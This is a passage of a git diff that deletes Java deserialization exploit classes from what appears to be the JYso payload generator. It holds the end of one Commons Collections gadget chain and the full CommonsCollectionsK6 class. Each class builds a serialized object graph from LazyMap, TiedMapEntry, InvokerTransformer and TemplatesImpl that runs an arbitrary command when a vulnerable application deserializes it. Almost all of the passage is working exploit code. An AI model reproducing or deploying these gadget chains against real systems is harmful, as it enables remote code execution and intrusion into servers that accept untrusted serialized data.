Transformer[]{}); - final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); - Map innerMap1 = new HashMap(); - Map innerMap2 = new HashMap(); - - // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject - Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain); - lazyMap1.put("yy", 1); - - Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain); - lazyMap2.put("zZ", 1); - - // Use the colliding Maps as keys in Hashtable - Hashtable hashtable = new Hashtable(); - hashtable.put(lazyMap1, 1); - hashtable.put(lazyMap2, 2); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); - - // Needed to ensure hash collision after previous manipulations - lazyMap2.remove("yy"); - - return hashtable; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK6.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK6.java deleted file mode 100644 index 3efed25..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK6.java +++ /dev/null @@ -1,37 +0,0 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections4.functors.ConstantTransformer; -import org.apache.commons.collections4.functors.InvokerTransformer; -import org.apache.commons.collections4.keyvalue.TiedMapEntry; -import org.apache.commons.collections4.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - - -@Dependencies({"commons-collections:commons-collections:4.0"}) -@Authors({Authors.QI4L}) -public class CommonsCollectionsK6 implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); - HashMap map = new HashMap<>(); - Map lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1)); - TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); - - HashMap expMap = new HashMap<>(); - expMap.put(tiedMapEntry, "QI4L"); - lazyMap.remove(templates); - - Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); - - return expMap; - } -}